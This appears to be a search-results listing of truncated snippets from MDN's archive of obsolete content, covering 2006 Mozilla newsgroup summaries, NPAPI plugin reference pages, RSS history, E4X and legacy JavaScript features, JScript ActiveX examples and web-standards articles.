sources are available at o'reily, in the creating applications with mozilla section. benjamin smedberg has been "working on some xptcall refactoring which will allow us to expose xptcall via a frozen api (and c linkage)". he is looking for xptcall port maintainers to submit patches to bug 349002. matthew gertner wants to know if anyone has written code to paste images from the clipboard on platforms other than windows? as of the end of the week, there is no reply. harry is looking for help with create thread in javascript using nsithread. he wants to know how to create new threads using javascript for background download operations. neil deakin points out that "downloads and other network operations are always done in another thread so you shouldn't be creating one yourself". meetings no me...
2006-09-29 - Archive of obsolete content
, 2006 announcements litmus down because of hardware failure - we are working to fix it - the hardware that litmus runs on failed over the weekend, so litmus is still down. zach lipton is working to get us back in working order. litmus should be back up and running soon. discussions extension based testing - someone is in the process of writing a small extension that tests firefox's help in terms of table-of-contents and search looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers. he is looking for an approach to recommend to whom a bug report should be assigned (i.e. which developer(s) has/have the correct expertise for a particular bug report). he has a working web-based tool called sibyl for providing both developer and compone...
2006-10-06 - Archive of obsolete content
update checker was run; all failures found were expected. build is go for launch. vista testers - needed to test firefox and thunderbird in vista. any test case ideas specific to vista are welcomed. check posting for details. ...
2006-11-10 - Archive of obsolete content
the blog will be hosted at quality.mozilla.org until qmo is ready for primetime. ...
2006-12-01 - Archive of obsolete content
2006 to december 1, 2006 return to mozilla-dev-security announcements none during this week. discussions protocol security daniele rizzo posted a question as to whether or not it is possible to enable/disable the privilege of universalxpconnect in a 'entire' protocol (http://, file://). problem with downloading signed script components in a firefox extension andrew groom is having problems getting an extension to download a signed script and would appreciates some help with his problem. meetings none during this week. ...
2006-11-24 - Archive of obsolete content
on about possibility of implementing java technology in mozilla products. a user writes that the licensing incompatibilities between gpl and mpl would prevent java code to be added in mozilla. ...
2006-11-17 - Archive of obsolete content
receiving a "bad request" error on some websites. reflow branch testing wanted l. david baron would like users to test the reflow branch as it is coming close to being merged with the trunk. nightly builds, instructions and the current list of known regressions on the branch can be found at: http://wiki.mozilla.org/gecko:reflow...ng#quick_links. users are asked to file bugs on encountered problems that are not present on the current trunk builds. if bugs are filed, "[reflow branch]" should be placed at the beginning of the summary. parsing html into a document object in fx3 discussion if gecko 1.9 will support parsing html into a document object. the possibility of turning the microsummaryresource object into a xpcom component, which accomplishes this task in a "hacky" manner, was also di...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 17 - november 24, 2006 announcements none this week. discussions backed out view manager hierarchy unification discussion aboutthe view manager hierarchy unification and the problems with tp regressions that occuring whenever update batching interacts it. see bigid 360789 new linebreaker interface new linebreaker current interface is unworkable when it comes to using thai and uax#14. meetings none this week. ...
2006-09-06 - Archive of obsolete content
threading in xpcom rules on threading in xpcom or to firefox extensions. ...
2006-10-13 - Archive of obsolete content
general xpcom and nscomptr questions nscomptr basics regarding myicomponent usage. ...
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 11-nov 17, 2006 announcements none during this week. discussions xpidl crashes imycomp.h problems: "xpidl.exe has encountered a problem and needs to close" meetings none during this week. ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 20 - october 27, 2006 announcements calendar test day october 31st a test date has been set for october 31st. more information can be found here. discussions importing outlook address files a discussion was started to attempt the export of outlook datae from ms outlook. storage calendar optimization a general discussion on optimization of widgets, java and the core of calendar's database. meetings no meetings were scheduled this week. authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
NPAnyCallbackStruct - Archive of obsolete content
contains information required during embedded mode printing. syntax typedef struct { int32 type; } npanycallbackstruct; fields the data structure has the following field: type always contains np_print. description callback structures are used to pass platform-specific information. the npanycallbackstruct structure contains information required by the platformprint field of the npembedprint structure during embedded mode printing. ...
NPFullPrint - Archive of obsolete content
control of the printing process and prints full-page. false: (default) plug-in renders its area of the page only (for embedded plug-in). printone not currently in use. should always be false. true: print single copy of page to the default printer. false: display print dialogs so user can choose printer, other options. platformprint platform-specific printing information. mac os: thprint ms windows: printer's device context description the npp_print function passes the plug-in a pointer to an npprint object (previously allocated by the browser). the npfullprint structure is used when the mode field of npprint is set to np_full. the pluginprinted field of this structure determines whether the plug-in prints in full-page mode or not. if you want the plug-in to take complete control ...
NPN_DestroyStream - Archive of obsolete content
ated by either the browser or the plug-in. reason reason the stream was stopped so the application can give the user appropriate feedback. values: npres_done (most common): stream completed normally; all data was sent by the plug-in to the browser. npres_user_break: plug-in is terminating the stream due to a user request. npres_network_err: stream failed due to network problems. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description the plug-in calls the npn_destroystream() function to close and delete a stream. this stream can be either a stream that the browser created and passed to the plug-in in npp_newstream(), or a str...
NPN_PostURL - Archive of obsolete content
only, the browser resolves this method as the http server method post, which transmits data to the server. the data to post can be contained either in a local temporary file or a new memory buffer. to post to a temporary file, set the flag file to true, the buffer buf to the path name string for a file, and len to the length of the path string. the file-type url prefix "file://" is optional. ms windows and os x if a file is posted with any protocol other than ftp, the file must be text with unix-style line breaks ('\n' separators only). to post data from a memory buffer, set the flag file to false, the buffer buf to the data to post, and len to the length of buffer. possible url types include http (similar to an html form submission), mail (sending mail), news (posting a news articl...
NPN_Write - Archive of obsolete content
r to the stream into which to push the data. len length in bytes of the data specified by buf. buf a pointer to a buffer of data to deliver to the stream. returns if successful, the function returns a positive integer representing the number of bytes written (consumed by the browser). this number depends on the size of the browser's memory buffers, the number of active streams, and other factors. if unsuccessful, the plug-in returns a negative integer. this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream(). description npn_write() delivers a buffer from the stream to the instance. a plug-in can call this function multiple times after creating a stream with npn_newstream...
NPP - Archive of obsolete content
e instance; this value should not be modified by the plug-in. description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new(). this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate. npp contains private instance data for both the plug-in and the browser. the npp_destroy() function informs the plug-in when the npp instance is about to be deleted; after this call returns, the npp pointer is no longer valid. see also npp_new() npp_destroy() ...
NPP_DestroyStream - Archive of obsolete content
pointer to current stream. reason reason the stream was destroyed. values: npres_done (most common): completed normally; all data was sent to the instance. npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations. npres_network_err: stream failed due to problems with network, disk i/o, lack of memory, or other problems. returns if successful, the plug-in should return nperr_no_error. if unsuccessful, the plug-in should return an error code. for possible values, see error codes. description the browser calls the npp_destroystream function when a data stream sent to the plug-in is finished, either because it has completed successfully or termi...
NPP_Print - Archive of obsolete content
ng the printer device context, and any other tasks involved in printing, as well as printing the rest of the page. for an embedded plug-in, set the printinfo field to npembedprint. a full-page plug-in handles all aspects of printing itself. for a full-page plug-in, set the printinfo field to npfullprint or null. for information about printing on your platform, see your platform documentation. ms windows on ms windows printinfo->print.embedprint.platformprint is the device context (dc) handle. be sure to cast this to type hdc. the coordinates for the window rectangle are in twips format. this means that you need to convert the x-y coordinates using the windows api call dptolp when you output text. see also npprint, npfullprint, npembedprint ...
NPP_StreamAsFile - Archive of obsolete content
ter to current plug-in instance. stream pointer to current stream. fname pointer to full path to a local file. if an error occurs while retrieving the data or writing the file, fname may be null. description when the stream is complete, the browser calls npp_streamasfile to provide the instance with a full path name for a local file for the stream. npp_streamasfile is called for streams whose mode is set to np_asfileonly or np_asfile only in a previous call to npp_newstream. if an error occurs while retrieving the data or writing the file, the file name (fname) is null. see also npp_newstream, npp_write, npp_writeready, npstream, npp ...
NPP_URLNotify - Archive of obsolete content
fy() or npn_posturlnotify() request that has completed. reason reason code for completion of request. values: npres_done (most common): completed normally. npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations. npres_network_err: stream failed due to problems with network, disk i/o, lack of memory, or other problems. notifydata plug-in-private value for associating a previous npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call. description the browser calls npp_urlnotify() after the completion of a npn_geturlnotify() or npn_posturlnotify() request to inform the plug-in that the request was completed and...
NPPrintCallbackStruct - Archive of obsolete content
this structure is only used on unix. syntax typedef struct { int32 type; file* fp; } npprintcallbackstruct; fields the data structure has the following fields: type always contains np_print. fp pointer to the file to which the plug-in should write its postscript data. description callback structures are used to pass platform-specific information. ...
NPSetWindowCallbackStruct - Archive of obsolete content
contains information about the plug-in's unix window environment. syntax typedef struct { int32 type; display* display; visual* visual; colormap colormap; unsigned int depth; } npsetwindowcallbackstruct; fields the data structure has the following fields: type always contains np_setwindow. display standard x toolkit attribute. pointer to the display structure that represents the browser-server connection. visual standard x toolkit attribute. ...
NPAPI plugin reference - Archive of obsolete content
the name "npp_write" is misleading - just think of:"data_arrived") npp_writeready determines maximum number of bytes that the plug-in can consume. npprint contains information the plug-in needs to print itself in full-page or embedded mode. npprintcallbackstruct contains information required by the platformprint field of the npembedprint structure during embedded mode printing on unix systems. nppvariable see npn_setvalue. nprect represents a rectangular area of a plug-in's content area. npregion represents a platform-defined region of a page. npsaveddata block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in. npsetwindowcallbackstruct contains information about the plug...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
lib.dll plugintypes.xpt the install.rdf file contains an install manifest that describes the plugin to the user. the library and scripting interfaces are held in the plugins directory. platform-specific files gecko 1.9.2 (firefox 3.6) and earlier prior to gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), it was possible to package multiple plugin libraries for different operating systems into a single xpi bundle. in the xpi you can use the following structure: platform/ linux_x86-gcc3/ plugins/ libplugin.so darwin_ppc-gcc3/ plugins/ libplugin.dylib more specific information can be found in the platform-specific subdirectories documentation. gecko 2.0 (firefox 4) and later gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) remo...
How RSS Works - Archive of obsolete content
how rss works there are two main components that come into play with rss syndication: the server end and the client end. the server end of rss syndication is the part of the system that produces the rss feed. a news website would be at the server end of rss syndication. a blog would be at the server end of rss syndication. an ipradio show would be at the server end of rss syndication. an iptv show would be at the server end of rss syndication. ...
What is RSS - Archive of obsolete content
2.0 because the rss-dev working group already used 1.0 with their rdf-based rss 1.0. so at this point we had netscape's rss 0.91, the rss-dev working group's rss 1.0, and userland's rss 2.0. now, the story doesn't quite end there. in november 2002 and again in january 2003, rss 2.0 was changed from its original specification by userland. and although these are each different, they all label themselves as rss 2.0 on the <rss> element. so now, at this point, we still have netscape's rss 0.91 (since netscape never deprecated it) although most people don't use it anymore. most people use either the rdf-based rss 1.0 or the xml-based rss 2.0, with the xml-based rss 2.0 seeming to be the most popular. (this tutorial uses rss 2.0.) how rss is used today today, rss is mostly used for syndicati...
Version - Archive of obsolete content
rss versions rss has a sordid history. different people and groups have largely unilaterally created specifications that they called rss. some rss formats are xml-based formats. and some rss formats are rdf-based formats. the list below is of all known rss versions. they are listed in chronological order of when they were released. note: in the list below, although rss 1.0 seems to be out of place, it is actually in the correct place chronologically. note: there are 3 different versions of rss 0.91. netscape's rss 0.91 (revision 1), netscape's rss 0.91 revision 3 and userland's rss 0.91. note: rss 0.93 and rss 0.94 were only ever released as "drafts" and never became "final" and thus were not meant to actually be used. name status release date based on...
RSS - Archive of obsolete content
talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments. atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements. view all... community view mozilla xml forums... mailing list newsgroup rss feed related topics rdf, xml ...
SAX - Archive of obsolete content
id.equals(components.interfaces.nsisupports) && !iid.equals(components.interfaces.nsisaxcontenthandler)) throw components.results.ns_error_no_interface; return this; } }; start parsing the xml reader component can parse xml from a string, an nsiinputstream, or asynchronously via the nsistreamlistener interface. ...
TCP/IP Security - Archive of obsolete content
to provide protection for communication sessions of other types of applications such as smtp, point of presence (pop), internet message access protocol (imap), and file transfer protocol (ftp). because all major web browsers include support for tls, users who wish to use web-based applications that are protected by tls normally do not need to install any client software or reconfigure their systems. newer applications of transport layer security protocols protect both http and non-http application communications, including client/server applications and other network traffic. controls at each layer offer advantages and features that controls at other layers do not. ssl is the most commonly used transport layer security control. depending on how ssl is implemented and configured, it can ...
The Basics of Web Services - Archive of obsolete content
e an idea of how a web service might work. web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other. (xml introduction). a better way to understand a web service is to compare it to a html form communication with a server side script (such as php or asp) to post and send data. both web services and forms send and receive requests. the only major difference is that a web service uses xml. examples of web services in action as said before, rss and atom feeds are a simple example of how a web service works, most commonly, xml-rpc or soap are also used to communicate between a server and a client. introducing xml-rpc xml-rpc is a type of web service and has been around since 1998, though not an o...
Create Your Own Firefox Background Theme - Archive of obsolete content
y to preview your theme! simply mouse over the image above the submit theme button, and see how it looks instantly. submit your theme — if everything looks right, click the submit theme button, and you're done! you can see all the themes you've authored on your profile page. tip: to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and terms of service! submit your theme now more tutorials mozilla themes focal point on sizing - a tutorial on theming with a focus on sizing, by vanillaorchids. ...
References - Archive of obsolete content
the webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free javascript code. from matt kruse debugging html and css is a well designed website explaining well the how, why and where of html validation, css validation and debugging tools. we highly recommend this site. it is also a...
Using Web Standards in your Web Pages - Archive of obsolete content
tes. how to upgrade a webpage markup code to pass validation and how to implement css are addressed by providing recommendations, tutorials and references. the other sections address dom and dhtml coding practices which are at odds with the w3c web standards and suggest replacements. every proposed w3c web standards replacement in this article is working without a problem in modern browsers like msie 7, firefox 2, opera 9, safari 3, konqueror 3.5+, icab 4, etc. the next-to-last section, summary of changes, outlines all the changes described in this article. the last section offers excellent and best references for those wishing to learn more about upgrading techniques presented in this article and more for those wishing to perfect their web pages. contents benefits of using web standar...
E4X - Archive of obsolete content
Archive › Web › E4X
obsoletethis feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning: e4x is obsolete. it has been disabled by default for webpages (content) in firefox 17, disabled by default for chrome in firefox 20, and has been removed in firefox 21. use domparser/domserializer or a non-native jxon algorithm instead. ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript. it does this by providing access to the xml document in a form that feels natural for ecmascript programmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algor...
Accessing XML children - Archive of obsolete content
normal javascript objects use the . operator or [] notation to set properties. var a = {}; a.foo = 1; a["bar"] = 2; in e4x, the . and [] operators provide access to the child nodes of an e4x element. ...
E4X Tutorial - Archive of obsolete content
this tutorial walks you through the basic syntax of e4x (ecmascript for xml). with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming. ...
Iterator - Archive of obsolete content
it returns property_name for each iteration. if object is the iterator instance or generator instance, it returns object itself. properties iterator.prototype[@@iterator] returns a function that returns iterator object. methods iterator.prototype.next returns next item in the [property_name, property_value] format or property_name only. it throws stopiteration if there are no more items. examples iterating over properties of an object var a = { x: 10, y: 20, }; var iter = iterator(a); console.log(iter.next()); // ["x", 10] console.log(iter.next()); // ["y", 20] console.log(iter.next()); // throws stopiteration iterating over properties of an object with legacy destructuring for-in statement var a = { x: 10, y: 20, }; for (var [name, value] in iterator(a)) { con...
Array comprehensions - Archive of obsolete content
s a way of combining the two. the following comprehension takes an array of numbers and creates a new array of the double of each of those numbers. var numbers = [1, 2, 3, 4]; var doubled = [for (i of numbers) i * 2]; console.log(doubled); // logs 2,4,6,8 this is equivalent to the following map() operation: var doubled = numbers.map(i => i * 2); comprehensions can also be used to select items that match a particular expression. here is a comprehension which selects only even numbers: var numbers = [1, 2, 3, 21, 22, 30]; var evens = [for (i of numbers) if (i % 2 === 0) i]; console.log(evens); // logs 2,22,30 filter() can be used for the same purpose: var evens = numbers.filter(i => i % 2 === 0); map() and filter() style operations can be combined into a single array comprehension...
Date.prototype.toLocaleFormat() - Archive of obsolete content
e to be displayed using some of the get* methods of the date object instead of using this method. examples using tolocaleformat() var today = new date(); var date = today.tolocaleformat('%a, %b %e, %y'); in this example, tolocaleformat() returns a string such as "wednesday, october 3, 2007". note that the format string in this example is not properly localized, which will result in the problems described above. polyfill when using the datejs library you can polyfill date.prototype.tolocaledatestring() like this: if (!date.prototype.tolocaleformat) { (function() { date.prototype.tolocaleformat = function(formatstring) { return this.format(formatstring); }; }()); } specifications not part of any standard. ...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
implemented proposals not in es.next this section needs to be updated to reflect current changes. (may 2019) the following features are al...
Expression closures - Archive of obsolete content
x * x this syntax allows you to leave off the braces and 'return' statement - making them implicit. there is no added benefit to writing code in this manner, other than having it be syntactically shorter. examples a shorthand for binding event listeners: document.addeventlistener('click', function() false, true); using this notation with some of the array functions from javascript 1.6: elems.some(function(elem) elem.type == 'text'); ...
Generator comprehensions - Archive of obsolete content
ficant drawback of array comprehensions is that they cause an entire new array to be constructed in memory. when the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a new array can be problematic. generators enable lazy computation of sequences, with items calculated on-demand as they are needed. generator comprehensions are syntactically almost identical to array comprehensions — they use parentheses instead of braces— but instead of building an array they create a generator that can execute lazily. you can think of them as short hand syntax for creating generators. suppose we have an iterator it which iterates over a large sequence of intege...
ActiveXObject - Archive of obsolete content
o be created. remarks automation servers provide at least one type of object. for example, a word-processing application may provide an application object, a document object, and a toolbar object. you may be able to identify servername.typename values on a host pc in the hkey_classes_root registry key. for example, here are a few examples of values you may find there, depending on which programs are installed: excel.application excel.chart scripting.filesystemobject wscript.shell word.document important: activex objects may present security issues. to use the activexobject, you may need to adjust security settings in internet explorer for the relevant security zone. for example, for the local intranet zone, you typically need to change a custom setting ...
Enumerator.moveFirst - Archive of obsolete content
non-standard. do not use! this object is a microsoft extension and is only supported in internet explorer. the enumerator.movefirst method resets the current item in the collection to the first item. syntax enumobj.movefirst( ) remarks the required enumobj reference is any enumerator object. if there are no items in the collection, the current item is set to undefined. example in following example, the movefirst method is used to evaluate members of the drivescollection from the beginning of the list: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += ...
Enumerator - Archive of obsolete content
syntax enumobj = new enumerator([collection]) parameters enumobj the variable name to which the enumerator object is assigned. collection optional any collection object. remarks collections differ from arrays in that the members of a collection are not directly accessible. ...
@cc_on - Archive of obsolete content
d in internet explorer 10 standards mode and in all earlier versions. the @cc_on statement activates conditional compilation support within comments in a script. syntax @cc_on remarks the @cc_on statement activates conditional compilation within comments in a script. it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line programs because the capabilities of the compilers can be determined by using other methods. when you write a script for a web page, always put conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. it is strongly recommended that you use the @cc_on statement in a comment, so that browsers that do not support conditional compilation will ac...
@if - Archive of obsolete content
ement, you do not have to place each clause on a separate line. you can use multiple @elif clauses. however, all @elif clauses must come before an @elseclause. the @if statement is typically used to determine which text among several options should be used for text output. it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line programs. this is because the capabilities of the compilers can be determined by using other methods. when you write a script for a web page, always add conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. example the following example illustrates the use of the @if...@elif...@else...@end statement. /*@cc_on @*/ /*@ document.write("...
New in JavaScript 1.1 - Archive of obsolete content
of every object (was previously a built-in function); it evaluates a string of javascript code in the context of the specified object. math.random() now works on every platform. tostring(): added radix parameter, which specifies the base to use for representing numeric values. isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platforms, if the first character of the specified string cannot be converted to a number; in previous releases, it returned nan on solaris and irix and zero on all other platforms. ...
New in JavaScript 1.2 - Archive of obsolete content
regular expressions signed scripts changed functionality in javascript 1.2 you can now nest functions within functions. number now converts a specified object to a number. number now produces nan rather than an error if x is a string that does not contain a well-formed numeric literal. string now converts a specified object to a string. array.prototype.sort() now works on all platforms. it no longer converts undefined elements to null and sorts them to the high end of the array. string.prototype.split() it can take a regular expression argument, as well as a fixed string, by which to split the object string. it can take a limit count so that it won't include trailing empty elements in the resulting array. string.prototype.substring(): no longer swaps index numbe...
New in JavaScript 1.3 - Archive of obsolete content
seconds() other new features strict equality operators unicode support a javascript console was introduced. changed functionality in javascript 1.3 changes to date to conform with ecma-262 new constructor date(year, month, day, [,hours [, minutes [, seconds [, milliseconds ]]]]) additional method parameters: setmonth(month[, date]) sethours(hours[, min[, sec[, ms]]]) setminutes(min[, sec[, ms]]) setseconds(sec[, ms]) the length of an array (property length) is now an unsigned, 32-bit integer. array.prototype.push(): in javascript 1.2, the push method returned the last element added to an array. under javascript 1.3, push returns the new length of the array. array.prototype.slice(): in javascript 1.2, the splice method returned t...
ECMAScript 2015 support in Mozilla - Archive of obsolete content
ad operator for function calls (firefox 27) use symbol.iterator property (firefox 36) const (js 1.5, firefox 1.0) (es2015 compliance bug 950547 implemented in firefox 51) let (js 1.7, firefox 2) (es2015 compliance bug 950547 implemented in firefox 51) destructuring assignment (js 1.7, firefox 2) (es2015 compliance bug 1055984) statements for...of (firefox 13) works in terms of .iterator() and .next() (firefox 17) use "@@iterator" property (firefox 27) use symbol.iterator property (firefox 36) functions rest parameters (firefox 15) default parameters (firefox 15) parameters without defaults after default parameters (firefox 26) destructured parameters with default value assignment (firefox 41) arrow functions (firefox 22) generator fu...
ECMAScript 5 support in Mozilla - Archive of obsolete content
ported by different versions of mozilla's javascript runtime. supported features added in javascript 1.8.5 (gecko 2, firefox 4 and later) firefox 4 has full ecmascript 5 support including the object.* methods and strict mode. see new in javascript 1.8.5. added in javascript 1.8.1 (gecko 1.9.1, firefox 3.5) native json support object.getprototypeof() method. string.trim() method, which trims whitespace from both ends of the string. gecko 1.9.1.4 updated the implementation of json.stringify() to be compliant with ecmascript 5. improvements laid out by ecmascript 5 have been made in the parsing algorithm that prevents evaluating xhtml as javascript code in certain circumstances. added in javascript 1.6 (gecko 1.8, firefox 1.5) new array methods offering several improved methods fo...
LiveConnect - Archive of obsolete content
748343 for the rationale and workarounds. you can still embed java applets and access their api from javascript. liveconnect overview an overview for liveconnect. liveconnect reference the java classes used for liveconnect, along with their constructors and methods. java in firefox extensions community view mozilla.dev.tech.java forums... mailing list newsgroup rss feed related topics javascript, plugins older notes (please update or remove as needed.) while the bloated liveconnect code in the mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former api has been restored (see also the specification and this thread) (building on npapi?), and as...
Packages - Archive of obsolete content
and sun properties represent the packages java.*, netscape.*, and sun.* respectively. use standard java dot notation to access the classes, methods, and fields in these packages. for example, you can access a constructor of the frame class as follows: var theframe = new packages.java.awt.frame(); for convenience, javascript provides the top-level netscape, sun, and java objects that are synonyms for the packages properties with the same names. consequently, you can access java classes in these packages without the packages keyword, as follows: var theframe = new java.awt.frame(); the classname property represents the fully qualified path name of any other java class that is available to javascript. you must use the packages object to access classes outside the netscape, sun, and java ...
Old Proxy API - Archive of obsolete content
amming api. terminology catch-all mechanism (or "intercession api") the technical term for this feature. handler the object that intercepts properties. proxy the object whose properties are being intercepted. proxy factory the object or method that creates intercessive proxies. traps the methods that provide property access. this is analogous to the concept of traps in operating systems. proxies can be either be trapping or fixed. proxy api catch-alls can be defined only on distinct proxy objects, controlled by a handler object. there are two kinds of proxies: object proxies var proxy = proxy.create(handler, proto); and function proxies : var proxy = proxy.createfunction(handler, calltrap, constructtrap); where: proto is an optional object representing the proxy’s ...
Examples - Archive of obsolete content
f you plan to test these examples by yourself, you must use the right filename extension (it is written at the beginning of the code). ideally, upload the file to a web server and you're done. please note that the examples 4, 5 and 6 require a file named style.css to exist in the same directory as the example. you can get the contents of style.css at the bottom of this page. examples for "problems with inline style and script" problem 1 <!-- this file should have a .xhtml extension and will generate an error when parsed. --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="con...
RDF: Resource Description Framework for metadata - Archive of obsolete content
Archive › Web › RDF
plans to expose the rdf api to public web content, as well as performance and correctness improvements. what is rdf tim bray's introduction to the resource description framework, at xml.com. rdf datasource how-to a cookbook-style document describing how to create a native, client-side datasource that works with mozilla's rdf implementation. view all... community view mozilla forums... mailing list newsgroup rss feed rdf-dev mailing list tools rdf editors and tools rdf validator related topics xml categories interwiki language links ...
Server-Side JavaScript - Archive of obsolete content
here's a radical idea: use one language to write entire web apps -- the same language which billions of web pages already use, every day. sounds obvious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate html or ajax pages. the simplicity of using javascript on the server was part of netscape's original vision back in the day with netscape livewire. but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies. toda...
Other Resources - Archive of obsolete content
all other resources offical mozilla xforms project page w3c test suite xformstest.org ...
RFE to the Custom Controls - Archive of obsolete content
cuments for the following reason. xul, in many cases, is much better suited for application development than xhtml. therefore the control set may need to be more extensive to address the wider spectrum of requirements that a xul application will have on its controls. note: xul is a feature of mozilla only and custom control authors should be aware their controls won't work on other browser platforms. rfe put your requests here. output that shows the dom if output contains cdata section or text node and its data is any mozilla known language like xhtml/xul/svg then output should parse and display it (see bug 316817). output should show data in current locale format the bug 331585 address the issue. probably this feature should be implemented by adding a new custom control. input th...
RFE to the Custom Controls Interfaces - Archive of obsolete content
introduction this page contains requests for enhancement to the custom control interfaces. you can refer to custom controls page to get familiar with custom controls mechanism. in short, we have the following interfaces: nsixformsaccessors - serves to get/set the value of the instance data node that the xforms element is bound to as well as getting the various states of that node nsixformsdelegate - used to obtain the nsixformsaccessors interface nsixformsuiwidget - used by the xforms processor to update the value/state of an xforms element when its bound node's value/state is changed our current mechanism that allows authors to build custom controls assumes that the controls will be bound to instance nodes of simple content type. this means that the bound node is not allowed to cont...
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, forums, or other communities related to web standards, please link to them here. the web standards project web developer's handbook webdev feedhouse - blog feeds for popular standards-compliant blogs. ...
Correctly Using Titles With External Stylesheets - Archive of obsolete content
o. why titles matter the title attribute affects how your external stylesheet is applied to a document. in fact, the use of the title attribute is so significant that html 4.01 categorizes stylesheets according to the presence or absence of a title. by including a title attribute, you can control whether a particular stylesheet always affects a document, or if it is only used under certain circumstances. there are three kinds of stylesheets that are possible: persistent, preferred, and alternate stylesheets. authors will be most familiar with persistent stylesheets, of which any number may be applied to a document at once. a persistent stylesheet is one which has no title attribute and a value of stylesheet supplied for the rel attribute. a document may refer to one or more persistent st...
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
font size on the body element, for example, the font size of text within a table would match the user's default, not the body style. this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases. fortunately, the behavior can be overcome in all cases with a single css2 rule. tables and inheritance in css terms, tables are like any other element when it comes to inheritance. if a css property can be inherited, then table elements and their components (tr, td, etc.) should inherit just as any other element would. for example, if an author writes: <style type="text/css"> body {font-size: 11px;} </style> ...then the text inside table cells should also be 11 pixels in size. browsers from the version-four...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
ft//dtd internet explorer 2.0 html strict//en". the public identifier "-//microsoft//dtd internet explorer 2.0 tables//en". the public identifier "-//microsoft//dtd internet explorer 3.0 html//en". the public identifier "-//microsoft//dtd internet explorer 3.0 html strict//en". the public identifier "-//microsoft//dtd internet explorer 3.0 tables//en". the public identifier "-//sun microsystems corp.//dtd hotjava html//en". the public identifier "-//sun microsystems corp.//dtd hotjava strict html//en". the public identifier "-//ietf//dtd html 2.1e//en". the public identifier "-//o'reilly and associates//dtd html extended 1.0//en". the public identifier "-//o'reilly and associates//dtd html extended relaxed 1.0//en". the public identifier "-//o'reilly and associates//dtd html 2.0//e...
Parsing microformats in JavaScript - Archive of obsolete content
th a few functions you can call to retrieve the html and do other tasks. the functions you can call on the returned object are: string = html.tostring(); returns a string using innertext(). string = html.tohtml(); returns the node's html using innerhtml(). string = html.replace(a, b); returns a string in which all occurrences of a in the html are replaced with b. string = html.match(a); performs the specified matching operation on the html and returns the result. iso8601fromdate converts a javascript date object into an iso 8601 formatted date. isodate = microformats.parser.iso8601fromdate(date, punctuation) parameters date the javascript date object to convert. punctuation true if the date should have "-" and "/" in it. return value a string containing the iso 8601 formatted...
Popup Window Controls - Archive of obsolete content
nefits of popup windows without using popup windows. ...
Web Standards - Archive of obsolete content
ractices in the development world, there is a need for standards because applications are designed across multiple development groups. the business benefits of web standards this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. community view mozilla forums... mailing list newsgroup rss feed the web standards project webdev feedhouse other community links... tools firebug extension web developer extension markup validation service (w3c) css validation service (w3c) examples mozilla 1.0 demos - showing off what can be done with web standards. gecko ...
Community - Extensions
if you know of useful mailing lists, newsgroups, forums, or other communities related to extension development, please link to them here. mozillazine extensions & themes forum #extdev channel on moznet irc network — extension development questions #addons channel on moznet irc network — questions about http://addons.mozilla.org mozdev project owners mailing list mozillazine knowledge base allyourideas — ideas for extensions ((really needs a unique captcha)) babelzilla — a community for developers and translators of extension for mozilla applications ...
Publishing games - Game development
you can benefit from the web being truly multiplatform. this series of articles looks at the options you have when you want to publish and distribute your game, and earn something out of it while you wait for it to become famous. ...
Bounding volume collision detection with THREE.js - Game development
box tests. ...
3D collision detection - Game development
